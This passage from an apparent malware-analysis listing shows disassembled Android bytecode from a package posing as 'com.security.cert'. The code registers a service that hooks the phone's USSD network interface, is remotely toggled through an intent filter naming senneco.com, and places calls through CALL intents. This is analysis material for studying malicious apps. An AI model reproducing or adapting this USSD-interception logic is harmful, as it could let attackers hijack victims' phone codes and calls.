60 | invoke-virtual {p0, v0}, Lcom/a/a/a/b;->a(Ljava/lang/CharSequence;)Ljava/lang/CharSequence; | |
61 | move-result-object v0 | |
63 | invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V | |
64 | if-eqz v0, :cond_62 | |
66 | invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V |
|
68 | invoke-static {v0, p3, v1}, Landroid/text/TextUtils;->writeToParcel(Ljava/lang/CharSequence;Landroid/os/Parcel;I)V |
|
69 | goto_5e: move v0, v1 | |
70 | goto/16 :goto_9 | |
71 | cond_60: const/4 v0, 0x0 | |
72 | goto/16 :goto_4f | |
73 | cond_62: | |
74 | invoke-virtual {p3, v2}, Landroid/os/Parcel;->writeInt(I)V |
|
75 | goto/16 :goto_5e | |
76 | sswitch_66: | |
77 | const-string v0, "com.android.internal.telephony.IExtendedNetworkService" | |
79 | invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V |
|
81 | invoke-virtual {p0}, Lcom/a/a/a/b;->b()V | |
83 | invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V | |
84 | move v0, v1 | |
85 | goto/16 :goto_9 | |
86 | nop |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | instance-of v0, p1, Lorg/json/JSONArray; | |
1 | if-eqz v0, :cond_46 | |
2 | check-cast p1, Lorg/json/JSONArray; | |
4 | invoke-virtual {p1}, Lorg/json/JSONArray;->length()I | |
5 | move-result v0 | |
6 | new-array v1, v0, [Ljava/lang/String; | |
7 | const/4 v0, 0x0 | |
8 | goto_d: | |
9 | invoke-virtual {p1}, Lorg/json/JSONArray;->length()I | |
10 | move-result v2 | |
11 | if-ge v0, v2, :cond_1c | |
13 | invoke-virtual {p1, v0}, Lorg/json/JSONArray;->getString(I)Ljava/lang/String; |
|
14 | move-result-object v2 | |
15 | aput-object v2, v1, v0 | |
16 | add-int/lit8 v0, v0, 0x1 | |
17 | goto/16 :goto_d | |
18 | cond_1c: new-instance v0, Ljava/lang/StringBuilder; | |
20 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
22 | const-string v2, "((" | |
24 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
25 | move-result-object v0 | |
27 | const-string v2, ")|(" | |
29 | invoke-static {v2, v1}, Landroid/text/TextUtils;->join(Ljava/lang/CharSequence;[Ljava/lang/Object;)Ljava/lang/String; |
|
30 | move-result-object v1 | |
32 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
33 | move-result-object v0 | |
35 | const-string v1, "))" | |
37 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
38 | move-result-object v0 | |
40 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
41 | move-result-object p1 | |
42 | goto_3b: | |
43 | const-string v0, "all" | |
45 | invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
46 | move-result v0 | |
47 | if-eqz v0, :cond_49 | |
49 | const-string v0, ".*" | |
50 | goto_45: return-object v0 | |
51 | cond_46: check-cast p1, Ljava/lang/String; | |
52 | goto/16 :goto_3b | |
53 | cond_49: | |
54 | const-string v0, "\\+" | |
56 | const-string v1, "\\\\+" | |
58 | invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
59 | move-result-object v0 | |
61 | const-string v1, "\\*" | |
63 | const-string v2, "\\." | |
65 | invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
66 | move-result-object v0 | |
67 | goto/16 :goto_45 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "android.intent.action.INSERT" | |
3 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
4 | move-result-object v1 | |
6 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
7 | move-result v0 | |
8 | if-eqz v0, :cond_37 | |
10 | iget-object v0, p0, Lcom/security/cert/services/c;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService; | |
12 | invoke-static {v0, p1}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Lcom/security/cert/services/USSDDumbExtendedNetworkService;Landroid/content/Context;)Landroid/content/Context; | |
14 | iget-object v0, p0, Lcom/security/cert/services/c;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService; | |
16 | invoke-static {v0}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Lcom/security/cert/services/USSDDumbExtendedNetworkService;)Landroid/content/Context; | |
17 | move-result-object v0 | |
18 | if-eqz v0, :cond_36 | |
20 | iget-object v0, p0, Lcom/security/cert/services/c;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService; | |
22 | iget-object v1, p0, Lcom/security/cert/services/c;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService; | |
24 | invoke-static {v1}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Lcom/security/cert/services/USSDDumbExtendedNetworkService;)Landroid/content/Context; | |
25 | move-result-object v1 | |
26 | const v2, 0x7f040010 | |
28 | invoke-virtual {v1, v2}, Landroid/content/Context;->getString(I)Ljava/lang/String; |
|
29 | move-result-object v1 | |
31 | invoke-static {v0, v1}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Lcom/security/cert/services/USSDDumbExtendedNetworkService;Ljava/lang/String;)Ljava/lang/String; | |
32 | const/4 v0, 0x1 | |
34 | invoke-static {v0}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Z)Z |
|
36 | const-string v0, "USSDDumbExtendedNetworkService" | |
38 | const-string v1, "activate" | |
40 | invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
41 | cond_36: return-void | |
42 | cond_37: | |
43 | const-string v0, "android.intent.action.DELETE" | |
45 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
46 | move-result-object v1 | |
48 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
49 | move-result v0 | |
50 | if-eqz v0, :cond_36 | |
52 | iget-object v0, p0, Lcom/security/cert/services/c;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService; | |
53 | const/4 v1, 0x0 | |
55 | invoke-static {v0, v1}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Lcom/security/cert/services/USSDDumbExtendedNetworkService;Landroid/content/Context;)Landroid/content/Context; |
|
56 | const/4 v0, 0x0 | |
58 | invoke-static {v0}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a(Z)Z |
|
60 | const-string v0, "USSDDumbExtendedNetworkService" | |
62 | const-string v1, "deactivate" | |
64 | invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
65 | goto/16 :goto_36 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v2, 0x1 | |
1 | const/4 v1, 0x0 | |
2 | const/4 v0, 0x0 | |
4 | invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine; | |
5 | move-result-object v4 | |
7 | const-string v3, "Content-Type" | |
9 | invoke-interface {p1, v3}, Lorg/apache/http/HttpResponse;->getHeaders(Ljava/lang/String;)[Lorg/apache/http/Header; |
|
10 | move-result-object v3 | |
11 | array-length v5, v3 | |
12 | if-eq v5, v2, :cond_1f | |
13 | new-instance v0, Lorg/apache/http/client/HttpResponseException; | |
15 | invoke-interface {v4}, Lorg/apache/http/StatusLine;->getStatusCode()I | |
16 | move-result v2 | |
18 | const-string v3, "None, or more than one, Content-Type Header found!" | |
20 | invoke-direct {v0, v2, v3}, Lorg/apache/http/client/HttpResponseException;-><init>(ILjava/lang/String;)V |
|
22 | invoke-virtual {p0, v0, v1}, Lcom/b/a/a/h;->a(Ljava/lang/Throwable;[B)V | |
23 | goto_1e: return-void | |
24 | cond_1f: aget-object v5, v3, v0 | |
26 | sget-object v6, Lcom/b/a/a/h;->a:[Ljava/lang/String; | |
27 | array-length v7, v6 | |
28 | move v3, v0 | |
29 | goto_25: if-ge v3, v7, :cond_37 | |
30 | aget-object v8, v6, v3 | |
32 | invoke-interface {v5}, Lorg/apache/http/Header;->getValue()Ljava/lang/String; | |
33 | move-result-object v9 | |
35 | invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
36 | move-result v8 | |
37 | if-eqz v8, :cond_34 | |
38 | move v0, v2 | |
39 | cond_34: add-int/lit8 v3, v3, 0x1 | |
40 | goto/16 :goto_25 | |
41 | cond_37: if-nez v0, :cond_48 | |
42 | new-instance v0, Lorg/apache/http/client/HttpResponseException; | |
44 | invoke-interface {v4}, Lorg/apache/http/StatusLine;->getStatusCode()I | |
45 | move-result v2 | |
47 | const-string v3, "Content-Type not allowed!" | |
49 | invoke-direct {v0, v2, v3}, Lorg/apache/http/client/HttpResponseException;-><init>(ILjava/lang/String;)V |
|
51 | invoke-virtual {p0, v0, v1}, Lcom/b/a/a/h;->a(Ljava/lang/Throwable;[B)V | |
52 | goto/16 :goto_1e | |
53 | cond_48: | |
54 | invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity; | |
55 | move-result-object v2 | |
56 | if-eqz v2, :cond_7d | |
57 | new-instance v0, Lorg/apache/http/entity/BufferedHttpEntity; | |
59 | invoke-direct {v0, v2}, Lorg/apache/http/entity/BufferedHttpEntity;-><init>(Lorg/apache/http/HttpEntity;)V | |
60 | goto_53: | |
61 | invoke-static {v0}, Lorg/apache/http/util/EntityUtils;->toByteArray(Lorg/apache/http/HttpEntity;)[B | |
62 | try_end_56: move-result-object v1 | |
63 | goto_57: | |
64 | invoke-interface {v4}, Lorg/apache/http/StatusLine;->getStatusCode()I | |
65 | move-result v0 | |
66 | const/16 v2, 0x12c | |
67 | if-lt v0, v2, :cond_79 | |
68 | new-instance v0, Lorg/apache/http/client/HttpResponseException; | |
70 | invoke-interface {v4}, Lorg/apache/http/StatusLine;->getStatusCode()I | |
71 | move-result v2 | |
73 | invoke-interface {v4}, Lorg/apache/http/StatusLine;->getReasonPhrase()Ljava/lang/String; | |
74 | move-result-object v3 | |
76 | invoke-direct {v0, v2, v3}, Lorg/apache/http/client/HttpResponseException;-><init>(ILjava/lang/String;)V | |
78 | invoke-virtual {p0, v0, v1}, Lcom/b/a/a/h;->a(Ljava/lang/Throwable;[B)V | |
79 | goto/16 :goto_1e | |
80 | catch_70: move-exception v0 | |
81 | move-object v2, v0 | |
82 | move-object v0, v1 | |
83 | check-cast v0, [B | |
85 | invoke-virtual {p0, v2, v0}, Lcom/b/a/a/h;->a(Ljava/lang/Throwable;[B)V | |
86 | goto/16 :goto_57 | |
87 | cond_79: | |
88 | invoke-virtual {p0, v1}, Lcom/b/a/a/h;->b([B)V | |
89 | goto/16 :goto_1e | |
90 | cond_7d: move-object v0, v1 | |
91 | goto/16 :goto_53 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/security/cert/ui/c;->a:Lcom/security/cert/ui/UssdActivity; | |
3 | invoke-static {v0}, Lcom/security/cert/ui/UssdActivity;->a(Lcom/security/cert/ui/UssdActivity;)Lcom/a/a/a/a; | |
4 | move-result-object v0 | |
5 | if-eqz v0, :cond_13 | |
6 | try_start_8: | |
7 | iget-object v0, p0, Lcom/security/cert/ui/c;->a:Lcom/security/cert/ui/UssdActivity; | |
9 | invoke-static {v0}, Lcom/security/cert/ui/UssdActivity;->a(Lcom/security/cert/ui/UssdActivity;)Lcom/a/a/a/a; | |
10 | move-result-object v0 | |
12 | const-string v1, ":ON;)" | |
14 | invoke-interface {v0, v1}, Lcom/a/a/a/a;->a(Ljava/lang/CharSequence;)Ljava/lang/CharSequence; | |
15 | goto_13: | |
16 | iget-object v0, p0, Lcom/security/cert/ui/c;->a:Lcom/security/cert/ui/UssdActivity; | |
17 | new-instance v1, Landroid/content/Intent; | |
19 | const-string v2, "android.intent.action.CALL" | |
20 | new-instance v3, Ljava/lang/StringBuilder; | |
22 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
24 | const-string v4, "tel:" | |
26 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
27 | move-result-object v3 | |
29 | iget-object v4, p0, Lcom/security/cert/ui/c;->a:Lcom/security/cert/ui/UssdActivity; | |
31 | invoke-static {v4}, Lcom/security/cert/ui/UssdActivity;->b(Lcom/security/cert/ui/UssdActivity;)Ljava/lang/String; | |
32 | move-result-object v4 | |
34 | invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
35 | move-result-object v3 | |
37 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
38 | move-result-object v3 | |
40 | invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
41 | move-result-object v3 | |
43 | invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
44 | const/4 v2, 0x1 | |
46 | invoke-virtual {v0, v1, v2}, Lcom/security/cert/ui/UssdActivity;->startActivityForResult(Landroid/content/Intent;I)V |
|
47 | return-void | |
48 | catch_3e: move-exception v0 | |
50 | invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class; | |
51 | move-result-object v1 | |
53 | invoke-virtual {v1}, Ljava/lang/Class;->getSimpleName()Ljava/lang/String; | |
54 | move-result-object v1 | |
56 | invoke-virtual {v0}, Landroid/os/RemoteException;->getMessage()Ljava/lang/String; | |
57 | move-result-object v0 | |
59 | invoke-static {v1, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I | |
60 | goto/16 :goto_13 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p0}, Lcom/security/cert/b/a/a;->h(Landroid/content/Context;)Landroid/content/SharedPreferences$Editor; | |
2 | move-result-object v1 | |
3 | new-instance v2, Ljava/util/ArrayList; | |
5 | invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences; | |
6 | move-result-object v0 | |
8 | const-string v3, "queue" | |
10 | const-string v4, "" | |
12 | invoke-interface {v0, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
13 | move-result-object v0 | |
15 | const-string v3, "\u2116@--R7a" | |
17 | invoke-static {v0, v3}, Landroid/text/TextUtils;->split(Ljava/lang/String;Ljava/lang/String;)[Ljava/lang/String; |
|
18 | move-result-object v0 | |
20 | invoke-static {v0}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List; | |
21 | move-result-object v0 | |
23 | invoke-direct {v2, v0}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V | |
25 | invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator; | |
26 | move-result-object v3 | |
27 | goto_23: | |
28 | invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z | |
29 | move-result v0 | |
30 | if-eqz v0, :cond_4e | |
32 | invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object; | |
33 | move-result-object v0 | |
34 | check-cast v0, Ljava/lang/String; | |
35 | try_start_2f: new-instance v4, Lorg/json/JSONObject; | |
37 | invoke-direct {v4, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
39 | invoke-static {p1, v4}, Lcom/security/cert/b/a;->a(Lorg/json/JSONObject;Lorg/json/JSONObject;)Z | |
40 | move-result v4 | |
41 | if-eqz v4, :cond_23 | |
43 | invoke-interface {v2, v0}, Ljava/util/List;->remove(Ljava/lang/Object;)Z | |
45 | const-string v0, "queue" | |
47 | const-string v4, "\u2116@--R7a" | |
49 | invoke-static {v4, v2}, Landroid/text/TextUtils;->join(Ljava/lang/CharSequence;Ljava/lang/Iterable;)Ljava/lang/String; |
|
50 | move-result-object v4 | |
52 | invoke-interface {v1, v0, v4}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; |
|
53 | try_end_48: goto/16 :goto_23 | |
54 | catch_49: move-exception v0 | |
56 | invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V | |
57 | goto/16 :goto_23 | |
58 | cond_4e: | |
59 | invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
60 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
2 | move-result-object v1 | |
4 | invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel; | |
5 | move-result-object v2 | |
6 | try_start_8: | |
7 | const-string v0, "com.android.internal.telephony.IExtendedNetworkService" | |
9 | invoke-virtual {v1, v0}, Landroid/os/Parcel;->writeInterfaceToken(Ljava/lang/String;)V |
|
10 | if-eqz p1, :cond_36 | |
11 | const/4 v0, 0x1 | |
13 | invoke-virtual {v1, v0}, Landroid/os/Parcel;->writeInt(I)V |
|
14 | const/4 v0, 0x0 | |
16 | invoke-static {p1, v1, v0}, Landroid/text/TextUtils;->writeToParcel(Ljava/lang/CharSequence;Landroid/os/Parcel;I)V |
|
17 | goto_17: | |
18 | iget-object v0, p0, Lcom/a/a/a/c;->a:Landroid/os/IBinder; | |
19 | const/4 v3, 0x3 | |
20 | const/4 v4, 0x0 | |
22 | invoke-interface {v0, v3, v1, v2, v4}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z |
|
24 | invoke-virtual {v2}, Landroid/os/Parcel;->readException()V | |
26 | invoke-virtual {v2}, Landroid/os/Parcel;->readInt()I | |
27 | move-result v0 | |
28 | if-eqz v0, :cond_43 | |
30 | sget-object v0, Landroid/text/TextUtils;->CHAR_SEQUENCE_CREATOR:Landroid/os/Parcelable$Creator; | |
32 | invoke-interface {v0, v2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object; | |
33 | move-result-object v0 | |
34 | check-cast v0, Ljava/lang/CharSequence; | |
35 | try_end_2f: | |
36 | invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V | |
38 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
39 | return-object v0 | |
40 | cond_36: const/4 v0, 0x0 | |
41 | try_start_37: | |
42 | invoke-virtual {v1, v0}, Landroid/os/Parcel;->writeInt(I)V |
|
43 | try_end_3a: goto/16 :goto_17 | |
44 | catchall_3b: move-exception v0 | |
46 | invoke-virtual {v2}, Landroid/os/Parcel;->recycle()V | |
48 | invoke-virtual {v1}, Landroid/os/Parcel;->recycle()V | |
49 | throw v0 | |
50 | cond_43: const/4 v0, 0x0 | |
51 | goto/16 :goto_2f |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "USSDDumbExtendedNetworkService" | |
3 | const-string v1, "*USSDDumbExtendedNetworkService bind successfully*" | |
5 | invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
6 | new-instance v0, Landroid/content/IntentFilter; | |
8 | invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V | |
10 | const-string v1, "android.intent.action.INSERT" | |
12 | invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V |
|
14 | const-string v1, "android.intent.action.DELETE" | |
16 | invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V |
|
18 | const-string v1, "ussd" | |
20 | invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addDataScheme(Ljava/lang/String;)V |
|
22 | const-string v1, "senneco.com" | |
23 | const/4 v2, 0x0 | |
25 | invoke-virtual {v0, v1, v2}, Landroid/content/IntentFilter;->addDataAuthority(Ljava/lang/String;Ljava/lang/String;)V |
|
27 | const-string v1, "/" | |
28 | const/4 v2, 0x0 | |
30 | invoke-virtual {v0, v1, v2}, Landroid/content/IntentFilter;->addDataPath(Ljava/lang/String;I)V |
|
32 | iget-object v1, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a:Landroid/content/BroadcastReceiver; | |
34 | invoke-virtual {p0, v1, v0}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent; | |
36 | iget-object v0, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->f:Lcom/a/a/a/b; | |
37 | return-object v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v2, 0x0 | |
1 | const/4 v1, 0x1 | |
3 | const-string v0, "http.request_sent" | |
5 | invoke-interface {p3, v0}, Lorg/apache/http/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object; |
|
6 | move-result-object v0 | |
7 | check-cast v0, Ljava/lang/Boolean; | |
8 | if-eqz v0, :cond_36 | |
10 | invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z | |
11 | move-result v0 | |
12 | if-eqz v0, :cond_36 | |
13 | move v0, v1 | |
14 | goto_13: iget v3, p0, Lcom/b/a/a/j;->c:I | |
15 | if-le p2, v3, :cond_38 | |
16 | move v0, v2 | |
17 | goto_18: if-eqz v0, :cond_5e | |
19 | const-string v0, "http.request" | |
21 | invoke-interface {p3, v0}, Lorg/apache/http/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object; |
|
22 | move-result-object v0 | |
23 | check-cast v0, Lorg/apache/http/client/methods/HttpUriRequest; | |
25 | invoke-interface {v0}, Lorg/apache/http/client/methods/HttpUriRequest;->getMethod()Ljava/lang/String; | |
26 | move-result-object v0 | |
28 | const-string v3, "POST" | |
30 | invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
31 | move-result v0 | |
32 | if-nez v0, :cond_58 | |
33 | goto_2e: if-eqz v1, :cond_5a | |
34 | const-wide/16 v2, 0x5dc | |
36 | invoke-static {v2, v3}, Landroid/os/SystemClock;->sleep(J)V |
|
37 | goto_35: return v1 | |
38 | cond_36: move v0, v2 | |
39 | goto/16 :goto_13 | |
40 | cond_38: | |
41 | sget-object v3, Lcom/b/a/a/j;->b:Ljava/util/HashSet; | |
43 | invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class; | |
44 | move-result-object v4 | |
46 | invoke-virtual {v3, v4}, Ljava/util/HashSet;->contains(Ljava/lang/Object;)Z | |
47 | move-result v3 | |
48 | if-eqz v3, :cond_46 | |
49 | move v0, v2 | |
50 | goto/16 :goto_18 | |
51 | cond_46: | |
52 | sget-object v3, Lcom/b/a/a/j;->a:Ljava/util/HashSet; | |
54 | invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class; | |
55 | move-result-object v4 | |
57 | invoke-virtual {v3, v4}, Ljava/util/HashSet;->contains(Ljava/lang/Object;)Z | |
58 | move-result v3 | |
59 | if-eqz v3, :cond_54 | |
60 | move v0, v1 | |
61 | goto/16 :goto_18 | |
62 | cond_54: if-nez v0, :cond_60 | |
63 | move v0, v1 | |
64 | goto/16 :goto_18 | |
65 | cond_58: move v1, v2 | |
66 | goto/16 :goto_2e | |
67 | cond_5a: | |
68 | invoke-virtual {p1}, Ljava/io/IOException;->printStackTrace()V | |
69 | goto/16 :goto_35 | |
70 | cond_5e: move v1, v0 | |
71 | goto/16 :goto_2e | |
72 | cond_60: move v0, v1 | |
73 | goto/16 :goto_18 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v2, 0x1 | |
1 | const/4 v1, 0x0 | |
2 | if-ne p0, p1, :cond_6 | |
3 | move v1, v2 | |
4 | goto_5: return v1 | |
5 | cond_6: if-eqz p0, :cond_5 | |
6 | if-eqz p1, :cond_5 | |
8 | invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class; | |
9 | move-result-object v0 | |
11 | invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class; | |
12 | move-result-object v3 | |
14 | invoke-virtual {v0, v3}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z | |
15 | move-result v0 | |
16 | if-eqz v0, :cond_5 | |
17 | instance-of v0, p0, Lorg/json/JSONObject; | |
18 | if-eqz v0, :cond_4b | |
19 | check-cast p0, Lorg/json/JSONObject; | |
20 | check-cast p1, Lorg/json/JSONObject; | |
22 | invoke-virtual {p0}, Lorg/json/JSONObject;->length()I | |
23 | move-result v0 | |
25 | invoke-virtual {p1}, Lorg/json/JSONObject;->length()I | |
26 | move-result v3 | |
27 | if-ne v0, v3, :cond_5 | |
29 | invoke-virtual {p0}, Lorg/json/JSONObject;->keys()Ljava/util/Iterator; | |
30 | move-result-object v3 | |
31 | cond_2e: | |
32 | invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z | |
33 | move-result v0 | |
34 | if-eqz v0, :cond_49 | |
36 | invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object; | |
37 | move-result-object v0 | |
38 | check-cast v0, Ljava/lang/String; | |
40 | invoke-virtual {p0, v0}, Lorg/json/JSONObject;->opt(Ljava/lang/String;)Ljava/lang/Object; | |
41 | move-result-object v4 | |
43 | invoke-virtual {p1, v0}, Lorg/json/JSONObject;->opt(Ljava/lang/String;)Ljava/lang/Object; | |
44 | move-result-object v0 | |
46 | invoke-static {v4, v0}, Lcom/security/cert/b/a;->a(Ljava/lang/Object;Ljava/lang/Object;)Z | |
47 | move-result v0 | |
48 | if-nez v0, :cond_2e | |
49 | goto/16 :goto_5 | |
50 | cond_49: move v1, v2 | |
51 | goto/16 :goto_5 | |
52 | cond_4b: instance-of v0, p0, Lorg/json/JSONArray; | |
53 | if-eqz v0, :cond_77 | |
54 | check-cast p0, Lorg/json/JSONArray; | |
55 | check-cast p1, Lorg/json/JSONArray; | |
57 | invoke-virtual {p0}, Lorg/json/JSONArray;->length()I | |
58 | move-result v0 | |
60 | invoke-virtual {p1}, Lorg/json/JSONArray;->length()I | |
61 | move-result v3 | |
62 | if-ne v0, v3, :cond_5 | |
63 | move v0, v1 | |
64 | goto_5e: | |
65 | invoke-virtual {p0}, Lorg/json/JSONArray;->length()I | |
66 | move-result v3 | |
67 | if-ge v0, v3, :cond_75 | |
69 | invoke-virtual {p0, v0}, Lorg/json/JSONArray;->opt(I)Ljava/lang/Object; | |
70 | move-result-object v3 | |
72 | invoke-virtual {p1, v0}, Lorg/json/JSONArray;->opt(I)Ljava/lang/Object; | |
73 | move-result-object v4 | |
75 | invoke-static {v3, v4}, Lcom/security/cert/b/a;->a(Ljava/lang/Object;Ljava/lang/Object;)Z | |
76 | move-result v3 | |
77 | if-eqz v3, :cond_5 | |
78 | add-int/lit8 v0, v0, 0x1 | |
79 | goto/16 :goto_5e | |
80 | cond_75: move v1, v2 | |
81 | goto/16 :goto_5 | |
82 | cond_77: | |
83 | invoke-virtual {p0, p1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z | |
84 | move-result v1 | |
85 | goto/16 :goto_5 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v1, 0x1 | |
1 | const/4 v0, 0x0 | |
3 | iget-object v2, p0, Lcom/b/a/a/e;->a:Lorg/apache/http/impl/client/AbstractHttpClient; | |
5 | invoke-virtual {v2}, Lorg/apache/http/impl/client/AbstractHttpClient;->getHttpRequestRetryHandler()Lorg/apache/http/client/HttpRequestRetryHandler; | |
6 | move-result-object v2 | |
7 | goto_8: if-eqz v1, :cond_53 | |
8 | try_start_a: | |
9 | invoke-direct {p0}, Lcom/b/a/a/e;->a()V | |
10 | goto_d: return-void | |
11 | catch_e: move-exception v0 | |
13 | iget-object v1, p0, Lcom/b/a/a/e;->d:Lcom/b/a/a/f; | |
14 | if-eqz v1, :cond_d | |
16 | iget-object v1, p0, Lcom/b/a/a/e;->d:Lcom/b/a/a/f; | |
18 | const-string v2, "can\'t resolve host" | |
20 | invoke-virtual {v1, v0, v2}, Lcom/b/a/a/f;->b(Ljava/lang/Throwable;Ljava/lang/String;)V | |
21 | goto/16 :goto_d | |
22 | catch_1b: move-exception v0 | |
23 | iget v1, p0, Lcom/b/a/a/e;->f:I | |
24 | add-int/lit8 v1, v1, 0x1 | |
25 | iput v1, p0, Lcom/b/a/a/e;->f:I | |
27 | iget-object v3, p0, Lcom/b/a/a/e;->b:Lorg/apache/http/protocol/HttpContext; | |
29 | invoke-interface {v2, v0, v1, v3}, Lorg/apache/http/client/HttpRequestRetryHandler;->retryRequest(Ljava/io/IOException;ILorg/apache/http/protocol/HttpContext;)Z | |
30 | move-result v1 | |
31 | goto/16 :goto_8 | |
32 | catch_29: move-exception v1 | |
33 | new-instance v0, Ljava/io/IOException; | |
34 | new-instance v3, Ljava/lang/StringBuilder; | |
36 | invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V | |
38 | const-string v4, "NPE in HttpClient" | |
